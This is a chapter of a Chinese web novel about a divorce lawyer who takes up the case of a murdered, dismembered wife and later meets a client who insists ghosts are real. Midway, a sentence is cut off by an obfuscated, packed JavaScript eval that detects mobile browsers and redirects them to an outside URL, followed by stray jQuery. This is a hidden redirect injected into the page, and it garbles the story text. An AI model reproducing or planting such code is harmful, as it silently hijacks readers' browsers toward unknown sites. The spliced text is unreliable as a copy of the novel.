天光微微泛出点鱼肚白时,四五辆警车闪着红灯飞驰过街道,径直开进一处高档小区。
目睹这种场面的路人纷纷报以吃瓜的最高礼仪,睁大眼睛去看。
“咋了这是?出什么事了?”
眼看警戒线绕过其中一栋住宅拉开,有同楼的住户特意跑下楼来看,顺便骂道:“有家夫妻闹离婚,那男的把老婆杀了还分尸。警察来找尸体来了。”
“靠,我新买的房啊,这就成了凶宅!”
“谁说不是呢,真缺德,离婚好好离不完了,居然还杀人。”
有的人还在事不关己地围观着,但随后,他们得知一件更惊人的消息。
警察在下水管道里找到了人体组织。准确来说,是在白素素家楼下的住户家里找到的。
邻居这几天一直在公司加班,好不容易回到了家里,想开火做个饭,却发现连通厨房的下水管道被堵了。
他正想给物业打电话兴师问罪,不想电话还没拨出去,房门先被人敲响了。外面是两名警察,出示了证件后,询问道:“前天你在家吗?有没有注意到什么不对的动静?”
邻居脸上挂着黑眼圈,不耐烦道:“我没在家,什么也不知道,别来问我。”
“你确定没在家吗?”赵云州重复道。
“我都说了,我没......”邻居突然顿住,“不对,我有回家。前天我请了半天假回家休息。当时只睡了个觉而已......楼上的人吵得不行,我才上去跟他交涉了一下。仅此而已。”
“是吵架吗?”赵云州问道。
“不是,是剁骨头的声音,咚咚咚——梆梆响,大晚上真的是要烦死了。”邻居说到这,发觉这警察对楼上的人很感兴趣,不由问道:“咋了这是?是不是楼上那个男的出了事?□□还是吸毒啊?我听说明星就爱干这事。”
“还不能说,我们能进你家看看吗?”
邻居虽然不明所以,到底看在警服的面子上,侧身让出来路,跟在两人后面说道:“家里有点乱,我天天加班都没时候收拾。我也是才回家,刚想做点饭,也不知道怎么回事,下水管道突然堵了,真是奇怪。”
赵云州跟同事对视一眼,直接接着喊来痕检和法医。几个人围着下水管忙碌。
邻居看得莫名其妙,心道,现在的人民警察都这么尽职尽责的吗?下水管道都能帮忙通一通。
直到,他眼睁睁看见一大团头发从里面掏出来,几根细长浮肿的肉块挂在发丝上一块放到地上......
一股难以言喻的恶臭、猛烈不容拒绝地铺面迎来。
邻居捂着嘴转身将胃里酸水吐了一干二净。
好半天,他才慢慢缓过来,浑身直冒冷汗,老天爷,那居然是人的手指。
再联想到他说过的楼上邻居半夜剁肉声,还有什么不明白的。
和邻居一样,邱妍也是今天才得知白素素出事的消息。
她听闻事情后,便急不可耐找到殷垣的办公室,直接推门进去,“殷律——”
彼时,殷垣正在接打电话,三两句交代完事情后,转而问手足无措的邱妍:“什么事?”
“白小姐,她、她真的被杀了吗?”邱妍抿了抿唇,问道。
“是。”
邱妍记忆中白素素明艳动人,怎么也不明白就过了一天,好好的人居然已经死了。第一次这么直观地体会到死亡,她一时说不出来什么滋味。
殷垣叹了口气,说道:“最近辛苦你了,今天给你放一天假。”
邱妍:“白小姐的死是因为我们那个离婚案?”她难以接受,“为什么啊,离婚而已,怎么会闹成这样?”
殷垣:“你上学时,老师没告诉过你,离婚纠纷是最容易发生恶性暴力事件的吗?离婚如果这么简单,就不会有专业负责婚姻的律师。也不会每年有这么多婚内杀人案件了。”
“......”邱妍逐渐冷静下来,知道自己刚才的话实在天真,沉默片刻后,她说道:“殷律,我能不能去跟进白小姐的案子?我知道这是公诉案件,律师发挥作用不大,但是我、我就是想努力一下,让罪犯得到最高量刑。”
“你是实习律师。”殷垣提醒道,邱妍并没有独立办案的权力。
“我知道。”邱妍顿了顿:“我可以不接案子,我去找白小姐的家人,我了解程序怎么走,至少能给他们分析分析。最起码,我想帮帮忙。”
“殷律——”
“......”
殷垣:“行了,别哭了。这个案子,我已经接了。你不用着特意去找人,有时间就帮我多给法院打几个电话。”
霎时间,峰回路转。邱妍眼眶通红,惊讶地看着他,“您什么时候接的?”
“你进来的前一分钟。”殷垣道:“白素素家人联系我了。”
邱妍尴尬地摸了摸眼眶,心里想的却是,殷律师看着面冷,没想到还挺恶趣味,有话不早说出来。
殷垣让她去洗把脸,然后一块去警局调案情资料。
邱妍瞬间打起了精神,忙不迭照做。
正如邱妍自己说的那样,这个案子供词完整,证据链清晰,直接板上钉钉地将案子敲定下来。可以直接送检然后由检察院提起诉讼了,律师在其间发挥的作用并不大。
中间,张安宁要求见了一次殷垣。
隔着铁窗,张安宁原本就瘦削的脸更是深深凹陷下去,眼底乌青,下巴一团青茬,再没有往日当明星的荣光。
看见殷垣的时候,那双呆滞无光的眼睛才动了动,嘴唇翕张:“你来了。”
殷垣:“你要求见我,不是想说废话吧。”
张安宁深深呼吸,脸部肌肉都在颤抖,从上至下盯着殷垣,嘶哑着声音问道:“你们到底是怎么发现的?明明那天没有人在场,她的父母那边也有我发的信息,警察是怎么发现她失踪的?”
“这个世界上从来就没有完美的犯罪,你以为自己很聪明吗?”殷垣淡淡道:“自命清高又没有与之匹配的能力,遇见不公就觉得自己是最大的受害者,全世界都欠你。”
张安宁急促地喘息两下,恶狠狠瞪着他。
殷垣:“告诉你个好消息,热搜上关于你的词条爆了。你终于在娱乐圈火了。”
“嘭——”张安宁用力拍桌子,手拷啪啦一声牵制着他想要离开桌面的手腕。
他咬牙切齿:“我这一切都是被逼的,如果白素素不和我离婚,我不会杀她。我明明都向她道歉了,是她自己不识相,是她自己找死。”
他激烈的态度引来身后的狱警,将他拖走。
张安宁依旧盯着殷垣大喊,声音越来越远:“我知道你有特殊的能力,你有种就让白素素杀了我——”
张安宁离开了会见室,殷垣又坐了会,才起身离开这里。
送他的警察说道:“赵队说这人的精神应该有点问题,我一开始还不信,现在总算是亲眼见到了。据说他还老是说梦里遇见死去的受害者找他索命,这怎么可能。”
“你说的对。”殷垣笑了笑,“死人怎么能索他的命,法律才会给他应有的惩罚。”
正式开庭得等上几个月,殷垣等着诉讼期间,见了几次白素素的家人。
直到一次会见后,白母说出来了请他做代理律师的原因:“素素死后的第二天,我梦见她对我说让我来找你。她相信你的专业能力。”
“希望素素看见这幕能安心地走。”
殷垣看着憔悴的白母,心想,她大概还不知道,白素素正刻苦地备考地府公务员呢。
说不定再过段时间,两人就是同事了。
但面上,他滴水不漏道:“谢谢肯定,我会尽力的。”
当晚,殷垣回家正好撞上拿着外卖回来的柏扶青。两人视线交汇几秒,他正想若无其事地移开目光,却听柏扶青道:“你下班一直这么晚?”
柏扶青上次在人间行走还是一千多年前,那时候的人日升而做、日落而息,跟现在的生活节奏完全不同。
“......”殷垣觑了眼他的外卖袋,“所以你一直没找工作?”
柏扶青讶然:“我为什么要工作?”
“......”
殷垣平生第一次听见有人能这么理直气壮地说出这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667897|173007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,本来懒得说话,也不禁说了句:“你知道四九城的物价水平多高吗?不工作,你哪来的钱消费?”
柏扶青理所当然:“有人给我。”
穷奇开公司拿的是他的钱,自然每年要给他一笔分红。
殷垣却误会他指的是花姨,闻话,忍不住蹙眉:“你就一直靠别人养?”
柏扶青以为他在羡慕,忍俊不禁道:“其实你不用这么累,整天去上班的。想要钱,我也能给你。”
“......”
殷垣挑剔的目光落在柏扶青挂着笑意的脸上,刀刮似的一寸寸扫过去,再看不上他的做派也不得不承认,柏扶青这个人还是有点资本的。
光靠脸都能让他不用发愁生计。
察觉他视线的柏扶青挑着眉看去,礼貌问道:“你需要吗?”
“......不需要。”殷垣冷漠地走进电梯,“我有工作,还不至于靠别人要钱。”
柏扶青无所谓地耸耸肩,继续搭话:“昨天晚上我有事找你,但是敲了一会门,你一直没理我。”
“我晚上加班。”
“你今天也加班?”
殷垣抿着唇:“我干两份工作。”
柏扶青眼神瞬间变了,本来温和的目光带上点同情和怜惜,轻叹道:“你要实在困难就说出来,我或许能帮你。”
“......”
殷垣没忍住,“你住着我的房子,说要帮我?”
以四九城现在的房价,这个地段的一套房子至少千万起步。
殷垣兼职打工只是要命,但他不缺钱。
最近上网冲浪太开心的柏扶青差点忘了自己寄人篱下的人设了。“......”
是有点道理。
殷垣没钱,按理说自己应该比他更穷点才是。
殷垣对这种不求上进、吃软饭的男人没什么好态度,电梯开了门,他就直接下去,一句招呼也没打。
在开门时,他在心里盘算,得找个时间跟花姨说一说柏扶青的事了。
知道是他在还人情,不知道还以为一对一定点扶贫呢。
而楼上的柏扶青则在若有所思该怎么悄悄给殷垣塞点钱。
...
翌日一早,殷垣的律所来了个特殊的当事人。
他穿着黑色冲锋衣神神秘秘地来到律所,见到殷垣后,忍不住问道:“律师,你相信这个世界上有超自然的事情存在吗?”
“?”
殷垣下意识翻看起这人带来的案件材料,上面给的案情罪名是利用封建迷信破坏法律实施罪。
男人还在喋喋不休,“我叫单易,接下来我要说的事情可能有点夸张,但是它绝对是真的!殷律师,这个世界上有鬼!”
“......”
殷垣打断他,“等一下,单先生。我有两点要问你,这个案子进行到了哪一步了?已经正式立案了吗?”
“还没呢,我找朋友问了,他说很大可能就是这个罪名。到了哪一步......昨天晚上刚被带走算哪一步?”
“......”对话都没超过两句,谁知道算哪一步?
不过殷垣至少已经知道这人应该还没转移到拘留所正式羁押,他面不改色示意他往下讲讲经过。
单易道,“这事的嫌疑人是我最近找的一个大师。前提先说好啊,我说这个世界上有鬼,你也要相信这个世界上有鬼,这样我们才能有机会去辩护。这压根不是封建迷信,这是真实的事情,警察怎么就是不信呢!”
“......”
“你们是传教的道士?”殷垣问道。
单易:“哎呀,不是不是,他是出马仙。我找他给我帮忙,结果被人举报了,我身上的事还没搞完呢,那个大师居然就进去了。你说让我怎么办嘛——”
“是传说中供奉胡黄白柳灰五大仙家的人吗?我记得东北有这个说法,叫什么堂口。”邱妍忍不住插话进来,一脸兴致勃勃的。
“啊对对对,小姑娘,你也听过啊。”
邱妍谦虚道:“小说里面看过点。”
“......”